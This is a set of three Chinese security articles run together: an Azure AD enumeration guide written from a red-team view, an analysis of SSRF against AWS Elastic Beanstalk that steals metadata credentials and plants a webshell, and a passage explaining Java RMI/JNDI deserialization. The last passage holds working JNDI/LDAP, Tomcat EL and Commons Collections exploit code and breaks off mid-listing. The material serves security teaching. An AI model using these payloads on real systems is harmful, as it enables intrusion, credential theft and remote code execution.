CLI我们可以快速且方便地使用OAUTH方式与Azure进行身份认证，也能快速导出原始数据。在本文中我们将重点关注这种解决方案。
**Azure Powershell**
随着[Powershell
Empire](https://github.com/EmpireProject/Empire)以及[MailSniper](https://github.com/dafthack/MailSniper)等Powershell工具的兴起，我惊讶的是[Azure
Powershell](https://docs.microsoft.com/en-us/powershell/module/azurerm.resources/?view=azurermps-6.8.1#active_directory)竟然还没有融入这些工具体系中。我们可以与大量的Active
Directory Cmdlet交互，大家可以先安装[Azure RM Powershell](https://docs.microsoft.com/en-us/powershell/azure/install-azurerm-ps?view=azurermps-6.8.1)，然后运行`Connect-AzureRmAccount`亲自测试一下。
**Azure .NET**
有些特立独行的人使用的是Linux系统，却会使用C#来开发工具，我就是其中的一份子。因此，能使用[Azure
.NET](https://docs.microsoft.com/en-us/dotnet/azure/?view=azure-dotnet)库来与Active Directory交互对我来说是非常有用的一件事。我并没有深入分析这些库，但整体看来它们似乎是Active
Directory Graph API的某种封装实现。
### 深入分析
前面我提到过，本文重点关注使用AZ
CLI来与Azure交互。首先我们需要与Azure建立活动会话。当面对的是使用Microsoft或者Google服务的目标时，我很少尝试直接去获取内部网络的shell权限。通常情况下我会使用[CredSniper](https://github.com/ustayready/CredSniper)这款工具，通过钓鱼方式获取凭据以及多因素令牌，然后以目标用户身份通过认证，追踪敏感邮件、文件、访问权限、各种信息以及VPN接口。
在本文中，我们假设攻击者已经通过某种方式事先获取了有效的用户凭据。
**1、安装AZ CLI**
首先我们需要将Microsoft源加入apt源中（假设我们使用的是Linux环境），安装Microsoft签名密钥，然后安装Azure CLI：
AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list
curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
sudo apt-get install apt-transport-https
sudo apt-get update && sudo apt-get install azure-cli
**2、通过Web会话进行身份认证**
一切安装完毕后，我们需要使用已有的凭据获得Azure会话。最简单的一种方法就是在普通浏览器中使用ADFS或者OWA进行认证，然后输入如下命令：
az login
该命令会在本地生成OAUTH令牌（token），打开浏览器标签页访问认证页面，然后我们可以在页面中选择已经通过身份认证的那个账户。选择账户后，服务器就会验证本地OAUTH令牌，直到令牌过期或者被销毁我们才需要重复该过程。我们也可以使用`-use
-device-code`标志运行该命令，自动生成提供给`https://microsoft.com/devicelogin`的令牌。
### 导出用户信息
接下来是我最喜欢的部分。之前已经有研究人员提供了各种方法来提取GAL信息，比如使用OWA中的`FindPeople`以及`GetPeopleFilter`
web
service方法。这些技术对红队来说都是非常好的资源，但有各自的限制，比如所能提取的数据范围、枚举用户所需的时间、所产生的web请求数量以及不适用的场景等。使用AZ
CLI后，我们很容易就能提取出每个用户的目录信息。如下所示，我使用了[JMESPath](http://jmespath.org/)过滤器来提取我感兴趣的数据，可以将数据导出为表格、JSON或者TSV格式。
**1、导出所有用户**
az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}'
**2、导出特定用户**
如果我们知道目标用户的UPN信息，我们可以使用`-upn`标志来提取特定用户的信息。如果我们想深入分析特定账户的活动目录信息，这一点对我们来说非常方便。具体命令如下所示，其中我将输出结果以JSON格式导出：
az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='<upn>'
### 导出组信息
导出组是我喜欢的另一个功能。了解目标单位所使用的组可以为我们提供各种情报，比如目标的业务范围、用户情况以及管理员情况。这里AZ
CLI也为我们提供了一些有用的命令。
**1、导出所有组**
我做的第一件事就是导出所有组，然后就可以搜索关键词，比如：`Admin`、`VPN`、`Finance`、`Amazon`、`Azure`、`Oracle`、`VDI`以及`Developer`等。虽然我们可以提取很多元数据，但我通常只关心组名以及组描述：
az ad group list --output=json --query='[].{Group:displayName,Description:description}'
**2、导出特定组成员**
浏览所有组并选定感兴趣的目标后，接下来我们可以导出特定的组成员，获取组中具体包含哪些对象，这些都是渔叉式钓鱼攻击的首选目标！与大家的观点不同，我认为目标单位的技术能力并不能避免目标泄露凭据信息（甚至是MFA令牌信息）。换句话说，每个人都可能受到攻击，所以我通常有针对性地攻击后端工程师以及研发团队，因为这些人员通常具备最多的访问权限，并且虽然我尚未进入目标内部网络，也能访问私人的GitHub/GitLab代码仓库来搜索凭据、访问Jenkins服务器来获取shell接口、访问OneDrive/GDrive文件共享盘来获取敏感信息、访问Slack来获取敏感文件以及其他第三方服务。总之，我们不一定要进入内部网络才能获取敏感信息。
az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='<group name>'
### 导出应用及Service Principal信息
Microsoft提供的另一个功能就是注册使用SSO/ADFS或者与其他技术集成的应用。许多公司会在内部应用上使用该功能，这一点对红队来说也非常好，因为应用关联的元数据可以提供许多有价值信息，比如URL等，这些信息在侦察阶段可能会被忽视掉。
**1、导出所有应用信息**
az ad app list --output=table --query='[].{Name:displayName,URL:homepage}'
**2、导出特定应用信息**
如下所示，我们可以检查Azure中已注册应用所关联的元数据，发现Splunk实例的URL地址。
az ad app list --output=json --identifier-uri='<uri>'
**3、导出所有Service Principal信息**
az ad sp list --output=table --query='[].{Name:displayName,Enabled:accountEnabled,URL:homepage,Publisher:publisherName,MetadataURL:samlMetadataUrl}'
**4、导出特定Service Principal信息**
az ad sp list --output=table --display-name='<display name>'
### 使用JMESPath过滤器
在前面的例子中，我限制了输出结果的大小，这主要是因为我只想关注重要的信息。AZ
CLI可以过滤输出结果，使用`-query`标志以及`JMESPath`查询即可。我发现当`query`标志与`show`这个内置函数搭配使用时会存在一些bug。另外还需要注意默认的输出格式为JSON格式，这意味着如果我们想使用查询过滤器，我们需要使用大小写完全匹配的命名约定。不同格式的输出名称有些不同，比如JSON中可能使用的是小写字符，而table格式可能使用的是大写字符。
## 五、如何禁止访问Azure Portal
我专门花了点时间研究哪些对象需要禁用、如何禁止访问、如何限制访问权限、如何监控，也通过Twitter与许多研究人员积极交流，感谢所有帮助过我的人（特别感谢[Josh
Rickard](https://twitter.com/MS_dministrator)的大力支持）。我想我应该继续学习Microsoft的生态系统，才能提出更好的建议。在此之前，我可以先给出如何禁用Azure
Portal的方法，我还没有测试过这种方法，不确定该操作是否可以覆盖AZ CLI、Azure RM Powershell以及Microsoft Graph
API，但至少我们可以迈出第一步。
具体步骤如下：
1、使用`Global
Administrator`账户登录Azure（[https://portal.azure.com](https://portal.azure.com/)）；
2、在左侧面板，选择`Azure Active Directory`；
3、选择`Users Settings`；
4、选择`Restrict access to Azure AD administration portal`（限制访问Azure AD管理员门户）。
另一种方法是[Conditional Access Policies（条件访问策略）](https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview)，大家可以尝试一下。
## 六、总结
现在已经有各种工具可以测试AWS环境，最近有些新工具甚至可以捕捉云凭据（如[SharpCloud](https://github.com/chrismaddalena/SharpCloud)）。云环境似乎是人们经常忽略的一个攻击面。
我即将发布[CloudBurst](https://github.com/ustayready/CloudBurst)（目前处于私有状态），这是一个红队框架，可以与云环境交互。该框架采用可插拔模式，用户可以与不同的云服务商交互，捕捉、破坏以及窃取敏感数据。 | 社区文章 |
**作者：ruiqiang@云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/NesaxzuULBkkLBPkg7i8wQ>**
## 前言
Web应用托管服务是一种常见的平台即服务产品（PaaS），可以用来运行并管理Web类、移动类和API类应用程序。Web应用托管服务的出现，有效地避免了应用开发过程中繁琐的服务器搭建及运维，使开发者可以专注于业务逻辑的实现。在无需管理底层基础设施的情况下，即可简单、有效并且灵活地对应用进行部署、伸缩、调整和监控。
Web应用托管服务作为一种云上服务，其中也会应用到的元数据服务进行实例元数据查询，因此不得不考虑元数据服务安全对Web应用托管服务安全性的影响。
通过“浅谈云上攻防”系列文章[《浅谈云上攻防——元数据服务带来的安全挑战》](http://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247487562&idx=1&sn=d8b821f8f55d311815dec2e563e8c890&chksm=fd7aecccca0d65dadcf2e002dde99c1f97e2dd638f308b8c717b5bd9effa03dc817666d3f0f8&scene=21#wechat_redirect)一文的介绍，元数据服务为云上业务带来的安全挑战想必读者们已经有一个深入的了解。Web应用托管服务中同样存在着元数据服务带来的安全挑战，本文将扩展探讨元数据服务与Web应用托管服务这一组合存在的安全隐患。
## Web应用托管服务中的元数据安全隐患
在Web应用托管服务中的元数据安全隐患章节中，我们将以AWS 下的Elastic
Beanstalk服务进行举例，以此介绍一下攻击者如何攻击Web应用托管服务并利用元数据服务获取信息发起后续攻击，最终对用户资产造成危害。
AWS Elastic Beanstalk 是 AWS 提供的平台即服务 (PaaS) 产品，用于部署和扩展为各种环境（如
Java、.NET、PHP、Node.js、Python、Ruby 和 Go）开发的 Web 应用程序。Elastic Beanstalk
会构建选定的受支持的平台版本，并预置一个或多个AWS资源（如 Amazon EC2 实例）来运行应用程序。
Elastic Beanstalk 的工作流程如下：
在使用Elastic Beanstalk 部署Web 应用程序时，用户可以通过上传应用程序代码的zip 或 war 文件来配置新应用程序环境，见下图：
在进行新应用程序环境配置时，Elastic Beanstalk服务将会进行云服务器实例创建、安全组配置等操作。
与此同时， Elastic Beanstalk也将创建一个名为 elasticbeanstalk-region-account-id 的 Amazon S3
存储桶。这个存储桶在后续的攻击环节中比较重要，因此先简单介绍一下：Elastic Beanstalk服务使用此存储桶存储用户上传的zip与war
文件中的源代码、应用程序正常运行所需的对象、日志、临时配置文件等。
elasticbeanstalk-region-account-id中存储的对象列表以及其相关属性可参见下图：
Elastic Beanstalk服务不会为其创建的 Amazon S3
存储桶启用默认加密。这意味着，在默认情况下，对象以未加密形式存储在存储桶中（并且只有授权用户可以访问）。
在了解Elastic Beanstalk的使用之后，我们重点来看一下元数据服务与Elastic Beanstalk服务组合下的攻击模式。
正如上一篇文章提到的：当云服务器实例中存在SSRF、XXE、RCE等漏洞时，攻击者可以利用这些漏洞，访问云服务器实例上的元数据服务，通过元数据服务查询与云服务器实例绑定的角色以及其临时凭据获取，在窃取到角色的临时凭据后，并根据窃取的角色临时凭据相应的权限策略，危害用户对应的云上资源。
而在Elastic Beanstalk 服务中也同样存在着这种攻击模式，Elastic Beanstalk 服务创建名为aws-elasticbeanstalk-ec2-role的角色，并将其与云服务器实例绑定。
我们关注一下aws-elasticbeanstalk-ec2-role角色的权限策略： 从AWS官网可知，Elastic Beanstalk服务为aws-elasticbeanstalk-ec2-role角色提供了三种权限策略：用于 Web 服务器层的权限策略；用于工作程序层的权限策略；拥有多容器
Docker 环境所需的附加权限策略，在使用控制台或 EB CLI 创建环境时，Elastic Beanstalk 会将所有这些策略分配给aws-elasticbeanstalk-ec2-role角色，接下来分别看一下这三个权限策略。
AWSElasticBeanstalkWebTier – 授予应用程序将日志上传到 Amazon S3 以及将调试信息上传到 AWS X-Ray
的权限，见下图：
AWSElasticBeanstalkWorkerTier – 授予日志上传、调试、指标发布和工作程序实例任务（包括队列管理、定期任务）的权限，见下图：
AWSElasticBeanstalkMulticontainerDocker – 向 Amazon Elastic Container Service
授予协调集群任务的权限，见下图：
从上述策略来看，aws-elasticbeanstalk-ec2-role角色拥有对“elasticbeanstalk-”开头的S3
存储桶的读取、写入权限以及递归访问权限，见下图：
通过权限策略规则可知，此权限策略包含上文介绍的elasticbeanstalk-region-account-id存储桶的操作权限。
elasticbeanstalk-region-account-id存储桶命名也是有一定规律的：elasticbeanstalk-region-account-id存储桶名由“elasticbeanstalk”字符串、资源region值以及account-id值组成，其中elasticbeanstalk字段是固定的，而region与account-id值分别如下：
* l region 是资源所在的区域（例如，us-west-2）
* account-id 是Amazon账户 ID，不包含连字符（例如，123456789012）
通过存储桶命名规则的特征，在攻击中可以通过目标的信息构建出elasticbeanstalk-region-account-id存储桶的名字。
接下来介绍一下Elastic Beanstalk中元数据安全隐患。
用户在使用Elastic
Beanstalk中部署Web应用程序时，如果用户的Web应用程序源代码中存在SSRF、XXE、RCE等漏洞，攻击者可以利用这些漏洞访问元数据服务接口，并获取account-id、Region以及aws-elasticbeanstalk-ec2-role角色的临时凭据，并通过获取到的信息对S3存储桶发起攻击，account-id、Region以及aws-elasticbeanstalk-ec2-role角色的临时凭据获取方式如下：
以Elastic Beanstalk中部署Web应用程序中存在SSRF漏洞为例，攻击者可以通过发送如下请求以获取account-id、Region：
https://x.x.x.x/ssrf.php?url=http://169.254.169.254/latest/dynamic/instance-identity/document
从响应数据中Accountid、Region字段获取account-id、Region值，攻击者可以以此构造出目标elasticbeanstalk-region-account-id存储桶名称。
攻击者可以发送如下请求以获取aws-elasticbeanstalk-ec2-role角色的临时凭据：
https://x.x.x.x/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ AWS-elasticbeanstalk-EC2-role
从响应数据中获取aws-elasticbeanstalk-ec2-role角色的临时凭据：AccessKeyId、SecretAccessKey、Token三个字段值。
随后，攻击者使用获取到的aws-elasticbeanstalk-ec2-role角色的临时凭据，访问云API接口并操作elasticbeanstalk-region-account-id存储桶。
上述攻击模式的攻击流程图如下：
elasticbeanstalk-region-account-id存储桶对Elastic
Beanstalk服务至关重要，在攻击者获取elasticbeanstalk-region-account-id存储桶的操作权限之后，可以进行如下的攻击行为，对用户资产进行破坏。
##### **获取用户源代码**
在获取elasticbeanstalk-region-account-id存储桶的控制权后，攻击者可以递归下载资源来获取用户Web应用源代码以及日志文件，具体操作如下：
aws s3 cp s3:// elasticbeanstalk-region-account-id/ /攻击者本地目录 –recursive
攻击者可以通过在AWS命令行工具中配置获取到的临时凭据，并通过如上指令递归下载用户elasticbeanstalk-region-account-id存储桶中的信息，并将其保存到本地。
##### **获取实例控制权**
除了窃取用户Web应用源代码、日志文件以外，攻击者还可以通过获取的角色临时凭据向elasticbeanstalk-region-account-id存储桶写入Webshell从而获取实例的控制权。
攻击者编写webshell文件并将其打包为zip文件，通过在AWS命令行工具中配置获取到的临时凭据，并执行如下指令将webshell文件上传到存储桶中：
aws s3 cp webshell.zip s3:// elasticbeanstalk-region-account-id/
当用户使用AWS
CodePipeline等持续集成与持续交付服务时，由于上传webshell操作导致代码更改，存储桶中的代码将会自动在用户实例上更新部署，从而将攻击者上传的webshell部署至实例上，攻击者可以访问webshell路径进而使用webshell对实例进行权限控制。
## 更多安全隐患
除了上文章节中介绍的安全隐患，Web应用托管服务中生成的错误的角色权限配置，将为Web应用托管服务带来更多、更严重的元数据安全隐患。
从上文章节来看，Elastic Beanstalk服务为aws-elasticbeanstalk-ec2-role角色配置了较为合理的权限策略，使得即使Web应用托管服务中托管的用户应用中存在漏洞时，攻击者在访问实例元数据服务获取aws-elasticbeanstalk-ec2-role角色的临时凭据后，也仅仅有权限操作Elastic
Beanstalk服务生成的elasticbeanstalk-region-account-id
S3存储桶，并非用户的所有存储桶资源。这样一来，漏洞所带来的危害并不会直接扩散到用户的其他资源上。
但是，一旦云厂商所提供的Web应用托管服务中自动生成并绑定在实例上的角色权限过高，当用户使用的云托管服务中存在漏洞致使云托管服务自动生成的角色凭据泄露后，危害将从云托管业务直接扩散到用户的其他业务，攻击者将会利用获取的高权限临时凭据进行横向移动。
通过临时凭据，攻击者可以从Web应用托管服务中逃逸出来，横向移动到用户的其他业务上，对用户账户内众多其他资产进行破坏，并窃取用户数据。具体的攻击模式可见下图：
由于攻击者使用Web应用托管服务生成的合法的角色身份，攻击行为难以被发觉，对用户安全造成极大的危害。
针对于这种情况，首先可以通过加强元数据服务的安全性进行缓解，防止攻击者通过SSRF等漏洞直接访问实例元数据服务并获取与之绑定的角色的临时凭据。
此外，可以通过限制Web应用托管服务中绑定到实例上的角色的权限策略进行进一步的安全加强。在授予角色权限策略时，遵循最小权限原则。
最小权限原则是一项标准的安全原则。即仅授予执行任务所需的最小权限，不要授予更多无关权限。例如，一个角色仅是存储桶服务的使用者，那么不需要将其他服务的资源访问权限（如数据库读写权限）授予给该角色。
## 参考文献
<https://docs.aws.amazon.com/zh_cn/elasticbeanstalk/latest/dg/iam-instanceprofile.html>
<https://notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/>
<https://docs.aws.amazon.com/zh_cn/elasticbeanstalk/latest/dg/concepts-roles-instance.html>
<https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/>
<https://mp.weixin.qq.com/s/Y9CBYJ_3c2UI54Du6bneZA>
* * * | 社区文章 |
### 0 前言
以往看到很多讲述RMI、JNDI、JRMP的文章，有部分文章都描述的并不是很清晰，看着通篇大论，觉得很详细，但看完之后却搞不懂，也解释不清，反正就是感觉自己还没搞懂，却又好像懂了点，很迷糊...
这篇文章，我想要的就是以最简短的内容和例子，去阐述RMI、JNDI、JRMP...，并讲讲为什么用InitialContext
lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE，为什么Registry
bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE，为什么使用JRMP能互相对打等等。虽然我不能百分百保证我写的毫无错误，但是，我觉得你看了这篇文章之后，大概应该就懂了。
### 1 搞懂概念
#### 1.1 RMI
以下是wiki的描述：
Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
Java RMI极大地依赖于接口。在需要创建一个远程对象的时候，程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接，由后者负责透过网络通信。这样一来，程序员只需关心如何通过自己的接口句柄发送消息。
根据wiki所说RMI全称为Remote Method
Invocation，也就是远程方法调用，通俗点解释，就是跨越jvm，调用一个远程方法。众所周知，一般情况下java方法调用
指的是同一个jvm内方法的调用，而RMI与之恰恰相反。
例如我们使用浏览器对一个http协议实现的接口进行调用，这个接口调用过程我们可以称之为Interface
Invocation，而RMI的概念与之非常相似，只不过RMI调用的是一个Java方法，而浏览器调用的是一个http接口。并且Java中封装了RMI的一系列定义。
到这里了，我这边做个简短通俗的总结：RMI是一种行为，这种行为指的是Java远程方法调用。
#### 1.2 JRMP
以下是wiki的描述：
Java远程方法协议（英语：Java Remote Method Protocol，JRMP）是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用（RMI）之下、TCP/IP之上的线路层协议（英语：Wire protocol）。
根据wiki所说JRMP全称为Java Remote Method
Protocol，也就是Java远程方法协议，通俗点解释，它就是一个协议，一个在TCP/IP之上的线路层协议，一个RMI的过程，是用到JRMP这个协议去组织数据格式然后通过TCP进行传输，从而达到RMI，也就是远程方法调用。
还是前面所说的例子，我们在使用浏览器进行访问一个网络上的接口时，它和服务器之间的数据传输以及数据格式的组织，是用到基于TCP/IP之上的HTTP协议，只有通过这个HTTP协议，浏览器和服务端约定好的一个协议，它们之间才能正常的交流通讯。而JRMP也是一个与之相似的协议，只不过JRMP这个协议仅用于Java
RMI中。
总结的来说：JRMP是一个协议，是用于Java RMI过程中的协议，只有使用这个协议，方法调用双方才能正常的进行数据交流。
#### 1.3 JNDI
以下是wiki的描述：
Java命名和目录接口（Java Naming and Directory Interface，缩写JNDI），是Java的一个目录服务应用程序接口（API），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。
根据wiki的描述，JNDI全称为Java Naming and Directory
Interface，也就是Java命名和目录接口。既然是接口，那么就必定有其实现，而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。而命名的意思就是，在一个目录系统，它实现了把一个服务名称和对象或命名引用相关联，在客户端，我们可以调用目录系统服务，并根据服务名称查询到相关联的对象或命名引用，然后返回给客户端。而目录的意思就是在命名的基础上，增加了属性的概念，我们可以想象一个文件目录中，每个文件和目录都会存在着一些属性，比如创建时间、读写执行权限等等，并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似，因此，我们就能在使用服务名称以外，通过一些关联属性查找到对应的对象。
总结的来说：JNDI是一个接口，在这个接口下会有多种目录系统服务的实现，我们能通过名称等去找到相关的对象，并把它下载到客户端中来。
### 2 以攻击例子来阐述
前言已经说了“去阐述RMI、JNDI、JRMP...，并讲讲为什么用InitialContext
lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE，为什么Registry
bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE，为什么使用JRMP能互相对打等等”
#### 2.1 为什么用InitialContext lookup一个JNDI的rmi、ldap服务会导致自身被反序列化RCE
我们先看一个例子：
* 程序A
具有接口类HelloService和实现类HelloServiceImpl
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
System.out.println("hello!");
return "hello!";
}
}
启动了一个1099端口的Registry注册服务，并把HelloService接口的实现HelloServiceImpl暴露和注册到Registry注册服务
public class App {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", new HelloServiceImpl());
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
* 程序B
具有接口类HelloService
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
连接Registry并lookup查找到名为hello的对象
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
HelloService helloService = (HelloService) registry.lookup("hello");
System.out.println(helloService.sayHello());
} catch (NotBoundException e) {
e.printStackTrace();
}
}
* 启动程序A后，再启动程序B
在上述操作后，我们会发现程序A输出了hello，并且程序B也输出了hello。到底怎么回事呢？
其实，在程序A启动的时候，程序A启动了一个RMI的注册中心，接着把HelloServiceImpl暴露并注册到RMI注册中心，其中存储着HelloServiceImpl的stub数据，包含有HelloServiceImpl所在服务器的ip和port。在程序B启动之后，通过连接RMI注册中心，并从其中根据名称查询到了对应的对象（JNDI），并把其数据下载到本地，然后RMI会根据stub存储的信息，也就是程序A中HelloServiceImpl实现暴露的ip和port，最后通过JRMP协议发起RMI请求，RMI后，程序A输出hello并通过JRMP协议把hello的序列化数据返回给程序B，程序B对其反序列化后输出。
根据上述所说的流程，我们可以发现，如果要发起一个反序列化攻击，那么早在程序B
lookup的时候，就会从Registry注册中心下载数据，前面也说了“服务名称和对象或命名引用相关联”，我们就可以通过程序A
bind注册一个命名引用到Registry注册中心，也就是Reference，它具有三个参数，className、factory、classFactoryLocation，当程序B
lookup它并下载到本地后，会使用Reference的classFactoryLocation指定的地址去下载className指定class文件，接着加载并实例化，从而在程序B
lookup的时候实现加载远程恶意class实现RCE。
我们再来看一个例子：
* 程序A
创建了一个端口为1099的Registry注册中心，并注册了一个Reference到注册中心，该Reference引用了一个127.0.0.1中80端口http服务提供的Calc.class
public class App3
{
public static void main( String[] args )
{
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc","Calc","http://127.0.0.1:80/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("hello",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
* 程序B
public class App4 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
try {
new InitialContext().lookup("rmi://127.0.0.1:1099/hello");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
程序启动后，发现报错：
javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
因为在jdk8u121版本开始，Oracle通过默认设置系统变量com.sun.jndi.rmi.object.trustURLCodebase为false，将导致通过rmi的方式加载远程的字节码不会被信任，想要绕过有两种方式：
1. 使用ldap服务取代rmi服务（在jdk8u191开始，引入JRP290，加入了反序列化类过滤）：
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
/**
* LDAP server
*
* @author threedr3am
*/
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
run();
}
public static void run() {
int port = 1099;
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
String url = "http://localhost/#Calc";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(""));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Calc");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
1. 使用tomcat-el利用链：
PS：使用这种方式，需要lookup的客户端存在以下依赖
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
public class App
{
public static void main( String[] args )
{
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("hello",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
#### 2.2 为什么Registry bind暴露一个服务对象到RmiRegistry会导致Registry服务自身被反序列化RCE
我们先看一个例子：
* 程序A
public class App {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while(true);
}
}
程序A创建了一个1099端口的Registry注册中心
* 程序B
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.*;
import java.rmi.AlreadyBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class App3 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
